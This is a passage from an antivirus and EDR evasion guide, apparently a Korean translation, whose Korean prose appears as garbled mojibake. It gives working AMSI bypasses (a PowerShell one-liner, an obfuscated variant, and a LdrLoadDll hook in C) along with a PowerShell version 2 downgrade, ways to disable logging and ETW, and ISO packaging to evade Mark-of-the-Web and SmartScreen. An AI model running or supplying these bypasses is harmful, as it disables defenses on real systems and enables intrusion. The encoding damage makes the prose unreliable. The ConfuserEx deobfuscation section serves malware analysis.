ํ•˜์ง€๋งŒ AMSI๋Š” ์—ฌ๋Ÿฌ ๋ ˆ์ด์–ด๋กœ ๋‚œ๋…ํ™”๋˜์–ด ์žˆ์–ด๋„ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์—ญ๋‚œ๋…ํ™”ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ๋‚œ๋…ํ™”๋Š” ์–ด๋–ป๊ฒŒ ํ–ˆ๋А๋ƒ์— ๋”ฐ๋ผ ์˜คํžˆ๋ ค ์ข‹์ง€ ์•Š์€ ์„ ํƒ์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ํšŒํ”ผ๊ฐ€ ๊ทธ๋ ‡๊ฒŒ ๋‹จ์ˆœํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ๋ช‡๋ช‡ ๋ณ€์ˆ˜ ์ด๋ฆ„๋งŒ ๋ฐ”๊พธ๋ฉด ํ†ต๊ณผํ•˜๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์œผ๋‹ˆ, ์–ผ๋งˆ๋‚˜ ์‹ฌํ•˜๊ฒŒ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ฐํ˜”๋Š”์ง€์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

  • AMSI Bypass

AMSI๋Š” powershell(๋˜๋Š” cscript.exe, wscript.exe ๋“ฑ) ํ”„๋กœ์„ธ์Šค์— DLL์„ ๋กœ๋“œํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ตฌํ˜„๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, ๊ถŒํ•œ์ด ์—†๋Š” ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰ ์ค‘์ผ ๋•Œ๋„ ์ด๋ฅผ ์‰ฝ๊ฒŒ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. AMSI ๊ตฌํ˜„์˜ ์ด ๊ฒฐํ•จ ๋•Œ๋ฌธ์— ์—ฐ๊ตฌ์ž๋“ค์€ AMSI ์Šค์บ”์„ ํšŒํ”ผํ•˜๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

Forcing an Error

AMSI ์ดˆ๊ธฐํ™”๋ฅผ ์‹คํŒจํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉด(amsiInitFailed) ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด ์–ด๋– ํ•œ ์Šค์บ”๋„ ์‹œ์ž‘๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์›๋ž˜ Matt Graeber๊ฐ€ ๊ณต๊ฐœํ–ˆ์œผ๋ฉฐ, Microsoft๋Š” ๋” ๋„“์€ ์‚ฌ์šฉ์„ ๋ง‰๊ธฐ ์œ„ํ•ด ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ๊ฐœ๋ฐœํ–ˆ์Šต๋‹ˆ๋‹ค.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

ํ•œ ์ค„์˜ powershell ์ฝ”๋“œ๋งŒ์œผ๋กœ ํ˜„์žฌ powershell ํ”„๋กœ์„ธ์Šค์—์„œ AMSI๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ค„์€ ๋ฌผ๋ก  AMSI ์ž์ฒด์— ์˜ํ•ด ํƒ์ง€๋˜์—ˆ์œผ๋ฏ€๋กœ ์ด ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ์•ฝ๊ฐ„์˜ ์ˆ˜์ •์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ์€ ์ œ๊ฐ€ ์ด Github Gist์—์„œ ๊ฐ€์ ธ์˜จ ์ˆ˜์ •๋œ AMSI bypass์ž…๋‹ˆ๋‹ค.

Try{#Ams1 bypass technic nยบ 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.Mร‚ยฃnร‚ยฃg' + 'e@+nt.Auto@' + 'ร‚ยฃtion.A' -join ''
$fdx = '@ms' + 'ร‚ยฃInร‚ยฃ' + 'tF@ร‚ยฃ' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('ร‚ยฃ','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('ร‚ยฃ','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

์ด ๊ฒŒ์‹œ๋ฌผ์ด ๋‚˜์˜ค๋ฉด ์•„๋งˆ ๊ฐ์ง€๋  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์œผ๋‹ˆ, ํƒ์ง€๋˜์ง€ ์•Š์œผ๋ ค๋Š” ๊ณ„ํš์ด๋ผ๋ฉด ์–ด๋–ค ์ฝ”๋“œ๋„ ๊ณต๊ฐœํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

Memory Patching

์ด ๊ธฐ๋ฒ•์€ ์ฒ˜์Œ์— @RastaMouse์— ์˜ํ•ด ๋ฐœ๊ฒฌ๋˜์—ˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์Šค์บ”ํ•˜๋Š” ์—ญํ• ์„ ํ•˜๋Š” โ€œAmsiScanBufferโ€ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ amsi.dll์—์„œ ์ฐพ์•„ E_INVALIDARG ์ฝ”๋“œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋ฎ์–ด์“ฐ๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์‹ค์ œ ์Šค์บ”์˜ ๊ฒฐ๊ณผ๊ฐ€ 0์œผ๋กœ ๋ฐ˜ํ™˜๋˜์–ด ํด๋ฆฐํ•œ ๊ฒฐ๊ณผ๋กœ ํ•ด์„๋ฉ๋‹ˆ๋‹ค.

Tip

์ž์„ธํ•œ ์„ค๋ช…์€ https://rastamouse.me/memory-patching-amsi-bypass/๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

AMSI๋ฅผ powershell๋กœ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•œ ๋‹ค๋ฅธ ๋งŽ์€ ๊ธฐ๋ฒ•๋“ค๋„ ์žˆ์œผ๋‹ˆ, ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด ํŽ˜์ด์ง€ ๋ฐ ์ด ๋ฆฌํฌ์ง€ํ† ๋ฆฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

AMSI ์ฐจ๋‹จ: amsi.dll ๋กœ๋“œ ๋ฐฉ์ง€ (LdrLoadDll hook)

AMSI๋Š” ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์— amsi.dll์ด ๋กœ๋“œ๋œ ์ดํ›„์—๋งŒ ์ดˆ๊ธฐํ™”๋ฉ๋‹ˆ๋‹ค. ๊ฐ•๋ ฅํ•˜๊ณ  ์–ธ์–ด์— ๊ตฌ์• ๋ฐ›์ง€ ์•Š๋Š” ์šฐํšŒ ๋ฐฉ๋ฒ•์€ ์š”์ฒญ๋œ ๋ชจ๋“ˆ์ด amsi.dll์ผ ๋•Œ ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ntdll!LdrLoadDll์— ์‚ฌ์šฉ์ž ๋ชจ๋“œ ํ›„ํฌ๋ฅผ ๊ฑฐ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ AMSI๋Š” ๋กœ๋“œ๋˜์ง€ ์•Š๊ณ  ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์—์„œ๋Š” ์Šค์บ”์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๊ตฌํ˜„ ๊ฐœ์š” (x64 C/C++ pseudocode):

#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;

NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found โ†’ AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}

void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14โ€‘byte jmp thunk
}

Notes

  • PowerShell, WScript/CScript ๋ฐ ์ปค์Šคํ…€ ๋กœ๋” ๋“ฑ AMSI๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ชจ๋“  ํ™˜๊ฒฝ์—์„œ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ธด ์ปค๋งจ๋“œ๋ผ์ธ ์•„ํ‹ฐํŒฉํŠธ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ stdin์œผ๋กœ ๊ณต๊ธ‰ํ•˜๋Š” ๊ฒƒ(PowerShell.exe -NoProfile -NonInteractive -Command -)๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • LOLBins๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋˜๋Š” ๋กœ๋”(์˜ˆ: regsvr32๊ฐ€ DllRegisterServer๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ)์— ์˜ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์ด ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

The tool https://github.com/Flangvik/AMSI.fail also generates script to bypass AMSI. The tool https://amsibypass.com/ ๋˜ํ•œ ๋ฌด์ž‘์œ„ํ™”๋œ ์‚ฌ์šฉ์ž ์ •์˜ ํ•จ์ˆ˜, ๋ณ€์ˆ˜, ๋ฌธ์ž ํ‘œํ˜„์„ ์‚ฌ์šฉํ•˜๊ณ  PowerShell ํ‚ค์›Œ๋“œ์— ๋ฌด์ž‘์œ„ ๋ฌธ์ž ๋Œ€์†Œ๋ฌธ์ž ๋ณ€ํ˜•์„ ์ ์šฉํ•˜์—ฌ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ํšŒํ”ผํ•˜๋Š” AMSI ์šฐํšŒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

๊ฐ์ง€๋œ ์‹œ๊ทธ๋‹ˆ์ฒ˜ ์ œ๊ฑฐ

ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๊ฐ์ง€๋œ AMSI ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ์ œ๊ฑฐํ•˜๋ ค๋ฉด https://github.com/cobbr/PSAmsi ๋ฐ https://github.com/RythmStick/AMSITrigger ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋“ค์€ ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์Šค์บ”ํ•˜์—ฌ AMSI ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ์ฐพ์€ ๋’ค ํ•ด๋‹น ๋ถ€๋ถ„์„ NOP ๋ช…๋ น์œผ๋กœ ๋ฎ์–ด์จ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์‹ค์งˆ์ ์œผ๋กœ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

AMSI๋ฅผ ์‚ฌ์šฉํ•˜๋Š” AV/EDR ์ œํ’ˆ๋“ค

AMSI๋ฅผ ์‚ฌ์šฉํ•˜๋Š” AV/EDR ์ œํ’ˆ ๋ชฉ๋ก์€ https://github.com/subat0mik/whoamsi ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PowerShell ๋ฒ„์ „ 2 ์‚ฌ์šฉ PowerShell ๋ฒ„์ „ 2๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด AMSI๊ฐ€ ๋กœ๋“œ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ AMSI์— ์˜ํ•ด ์Šค์บ”๋˜์ง€ ์•Š๊ณ  ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

powershell.exe -version 2

PS Logging

PowerShell logging์€ ์‹œ์Šคํ…œ์—์„œ ์‹คํ–‰๋œ ๋ชจ๋“  PowerShell ๋ช…๋ น์„ ๊ธฐ๋กํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๊ฐ์‚ฌ(auditing) ๋ฐ ๋ฌธ์ œํ•ด๊ฒฐ(troubleshooting)์— ์œ ์šฉํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ํƒ์ง€๋ฅผ ํšŒํ”ผํ•˜๋ ค๋Š” ๊ณต๊ฒฉ์ž์—๊ฒŒ๋Š” ๋ฌธ์ œ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

To bypass PowerShell logging, you can use the following techniques:

  • Disable PowerShell Transcription and Module Logging: ์ด ๋ชฉ์ ์„ ์œ„ํ•ด https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Use Powershell version 2: PowerShell version 2๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด AMSI๊ฐ€ ๋กœ๋“œ๋˜์ง€ ์•Š์•„ AMSI์— ์˜ํ•ด ์Šค์บ”๋˜์ง€ ์•Š๊ณ  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ์‹คํ–‰ํ•˜์„ธ์š”: powershell.exe -version 2
  • Use an Unmanaged Powershell Session: ๋ฐฉ์–ด ๊ธฐ๋Šฅ์ด ์—†๋Š” PowerShell ์„ธ์…˜์„ ์ƒ์„ฑํ•˜๋ ค๋ฉด https://github.com/leechristensen/UnmanagedPowerShell ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” (์ด๋Š” Cobal Strike์˜ powerpick์ด ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค).

Obfuscation

Tip

Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden.

Deobfuscating ConfuserEx-Protected .NET Binaries

When analysing malware that uses ConfuserEx 2 (or commercial forks) it is common to face several layers of protection that will block decompilers and sandboxes. The workflow below reliably restores a nearโ€“original IL that can afterwards be decompiled to C# in tools such as dnSpy or ILSpy.

  1. Anti-tampering removal โ€“ ConfuserEx encrypts every method body and decrypts it inside the module static constructor (<Module>.cctor). This also patches the PE checksum so any modification will crash the binary. Use AntiTamperKiller to locate the encrypted metadata tables, recover the XOR keys and rewrite a clean assembly:
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe

Output contains the 6 anti-tamper parameters (key0-key3, nameHash, internKey) that can be useful when building your own unpacker.

  1. Symbol / control-flow recovery โ€“ feed the clean file to de4dot-cex (a ConfuserEx-aware fork of de4dot).
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe

Flags: โ€ข -p crx โ€“ select the ConfuserEx 2 profile โ€ข de4dot will undo control-flow flattening, restore original namespaces, classes and variable names and decrypt constant strings.

  1. Proxy-call stripping โ€“ ConfuserEx replaces direct method calls with lightweight wrappers (a.k.a proxy calls) to further break decompilation. Remove them with ProxyCall-Remover:
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe

After this step you should observe normal .NET API such as Convert.FromBase64String or AES.Create() instead of opaque wrapper functions (Class8.smethod_10, โ€ฆ).

  1. Manual clean-up โ€“ run the resulting binary under dnSpy, search for large Base64 blobs or RijndaelManaged/TripleDESCryptoServiceProvider use to locate the real payload. Often the malware stores it as a TLV-encoded byte array initialised inside <Module>.byte_0.

The above chain restores execution flow without needing to run the malicious sample โ€“ useful when working on an offline workstation.

๐Ÿ›ˆ ConfuserEx produces a custom attribute named ConfusedByAttribute that can be used as an IOC to automatically triage samples.

One-liner

autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially

  • InvisibilityCloak: C# ๋‚œ๋…ํ™” ๋„๊ตฌ
  • Obfuscator-LLVM: ์ด ํ”„๋กœ์ ํŠธ์˜ ๋ชฉ์ ์€ LLVM ์ปดํŒŒ์ผ ์Šค์œ„ํŠธ์˜ ์˜คํ”ˆ ์†Œ์Šค ํฌํฌ๋ฅผ ์ œ๊ณตํ•˜์—ฌ code obfuscation ๋ฐ ๋ณ€์กฐ ๋ฐฉ์ง€๋ฅผ ํ†ตํ•ด ์†Œํ”„ํŠธ์›จ์–ด ๋ณด์•ˆ์„ ํ–ฅ์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • ADVobfuscator: ADVobfuscator๋Š” ์™ธ๋ถ€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ์ปดํŒŒ์ผ๋Ÿฌ๋ฅผ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ  C++11/14 ์–ธ์–ด๋ฅผ ์‚ฌ์šฉํ•ด ์ปดํŒŒ์ผ ์‹œ์ ์— ๋‚œ๋…ํ™”๋œ ์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.
  • obfy: C++ ํ…œํ”Œ๋ฆฟ ๋ฉ”ํƒ€ํ”„๋กœ๊ทธ๋ž˜๋ฐ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์ƒ์„ฑํ•œ ๋‚œ๋…ํ™” ์—ฐ์‚ฐ ๋ ˆ์ด์–ด๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํฌ๋ž˜ํ‚นํ•˜๋ ค๋Š” ์‚ฌ๋žŒ์˜ ์ž‘์—…์„ ์กฐ๊ธˆ ๋” ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • Alcatraz: Alcatraz๋Š” .exe, .dll, .sys ๋“ฑ์„ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ pe ํŒŒ์ผ์„ ๋‚œ๋…ํ™”ํ•  ์ˆ˜ ์žˆ๋Š” x64 ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚œ๋…ํ™”๊ธฐ์ž…๋‹ˆ๋‹ค.
  • metame: Metame๋Š” ์ž„์˜ ์‹คํ–‰ ํŒŒ์ผ์„ ์œ„ํ•œ ๊ฐ„๋‹จํ•œ ๋ฉ”ํƒ€๋ชจํ”ฝ ์ฝ”๋“œ ์—”์ง„์ž…๋‹ˆ๋‹ค.
  • ropfuscator: ROPfuscator๋Š” ROP(return-oriented programming)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ LLVM ์ง€์› ์–ธ์–ด๋ฅผ ์œ„ํ•œ ์ •๊ตํ•œ ์ฝ”๋“œ ๋‚œ๋…ํ™” ํ”„๋ ˆ์ž„์›Œํฌ์ž…๋‹ˆ๋‹ค. ROPfuscator๋Š” ์ผ๋ฐ˜ ๋ช…๋ น์–ด๋ฅผ ROP ์ฒด์ธ์œผ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์–ด์…ˆ๋ธ”๋ฆฌ ์ˆ˜์ค€์—์„œ ํ”„๋กœ๊ทธ๋žจ์„ ๋‚œ๋…ํ™”ํ•˜๋ฉฐ, ์ •์ƒ์ ์ธ ์ œ์–ด ํ๋ฆ„์— ๋Œ€ํ•œ ์šฐ๋ฆฌ์˜ ์ง๊ด€์„ ๋ฐฉํ•ดํ•ฉ๋‹ˆ๋‹ค.
  • Nimcrypt: Nimcrypt๋Š” Nim์œผ๋กœ ์ž‘์„ฑ๋œ .NET PE Crypter์ž…๋‹ˆ๋‹ค.
  • inceptor: Inceptor๋Š” ๊ธฐ์กด EXE/DLL์„ shellcode๋กœ ๋ณ€ํ™˜ํ•œ ๋‹ค์Œ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

SmartScreen & MoTW

์ธํ„ฐ๋„ท์—์„œ ์ผ๋ถ€ ์‹คํ–‰ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•ด ์‹คํ–‰ํ•  ๋•Œ ์ด ํ™”๋ฉด์„ ๋ณธ ์ ์ด ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Microsoft Defender SmartScreen์€ ์ž ์žฌ์ ์œผ๋กœ ์•…์„ฑ์ผ ์ˆ˜ ์žˆ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‹คํ–‰์œผ๋กœ๋ถ€ํ„ฐ ์ตœ์ข… ์‚ฌ์šฉ์ž๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•œ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค.

SmartScreen์€ ์ฃผ๋กœ ํ‰ํŒ ๊ธฐ๋ฐ˜ ์ ‘๊ทผ ๋ฐฉ์‹์œผ๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, ํ”ํ•˜์ง€ ์•Š๊ฒŒ ๋‹ค์šด๋กœ๋“œ๋˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ SmartScreen์„ ์œ ๋ฐœํ•˜์—ฌ ํŒŒ์ผ ์‹คํ–‰์„ ๊ฒฝ๊ณ  ๋ฐ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค(๋‹จ, More Info -> Run anyway๋ฅผ ํด๋ฆญํ•˜๋ฉด ํŒŒ์ผ์„ ์—ฌ์ „ํžˆ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

MoTW (Mark of The Web)๋Š” Zone.Identifier๋ผ๋Š” ์ด๋ฆ„์˜ NTFS Alternate Data Stream์œผ๋กœ, ์ธํ„ฐ๋„ท์—์„œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•  ๋•Œ ํ•ด๋‹น ํŒŒ์ผ๊ณผ ํ•จ๊ป˜ ๋‹ค์šด๋กœ๋“œ๋œ URL๊ณผ ํ•จ๊ป˜ ์ž๋™์œผ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

์ธํ„ฐ๋„ท์—์„œ ๋‹ค์šด๋กœ๋“œํ•œ ํŒŒ์ผ์˜ Zone.Identifier ADS๋ฅผ ํ™•์ธํ•˜๋Š” ๋ชจ์Šต.

Tip

์‹คํ–‰ ํŒŒ์ผ์ด ์‹ ๋ขฐ๋œ ์„œ๋ช… ์ธ์ฆ์„œ๋กœ ์„œ๋ช…๋œ ๊ฒฝ์šฐ SmartScreen์„ ํŠธ๋ฆฌ๊ฑฐํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

payload๊ฐ€ Mark of The Web์„ ๋ฐ›์ง€ ์•Š๋„๋ก ํ•˜๋Š” ๋งค์šฐ ํšจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ•์€ ISO์™€ ๊ฐ™์€ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์— ํŒจํ‚ค์ง•ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Š” Mark-of-the-Web (MOTW)์ด non NTFS ๋ณผ๋ฅจ์— ์ ์šฉ๋  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

PackMyPayload๋Š” payload๋ฅผ Mark-of-the-Web์„ ํšŒํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์ถœ๋ ฅ ์ปจํ…Œ์ด๋„ˆ์— ํŒจํ‚ค์ง•ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

Example usage:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

ETW

Event Tracing for Windows (ETW)๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์‹œ์Šคํ…œ ๊ตฌ์„ฑ์š”์†Œ๊ฐ€ ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋กํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๊ฐ•๋ ฅํ•œ ๋กœ๊น… ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋ณด์•ˆ ์ œํ’ˆ์ด ์•…์„ฑ ํ™œ๋™์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ํƒ์ง€ํ•˜๋Š” ๋ฐ์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

AMSI๊ฐ€ ๋น„ํ™œ์„ฑํ™”(์šฐํšŒ)๋˜๋Š” ๋ฐฉ์‹๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์‚ฌ์šฉ์ž ๊ณต๊ฐ„ ํ”„๋กœ์„ธ์Šค์˜ EtwEventWrite ํ•จ์ˆ˜๋ฅผ ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋กํ•˜์ง€ ์•Š๊ณ  ์ฆ‰์‹œ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฉ”๋ชจ๋ฆฌ์—์„œ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ํŒจ์น˜ํ•˜์—ฌ ์ฆ‰์‹œ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ํ•จ์œผ๋กœ์จ ์ˆ˜ํ–‰๋˜๋ฉฐ, ๊ฒฐ๊ณผ์ ์œผ๋กœ ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์˜ ETW ๋กœ๊น…์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ **https://blog.xpnsec.com/hiding-your-dotnet-etw/ and https://github.com/repnz/etw-providers-docs/**์—์„œ ํ™•์ธํ•˜์„ธ์š”.

C# Assembly Reflection

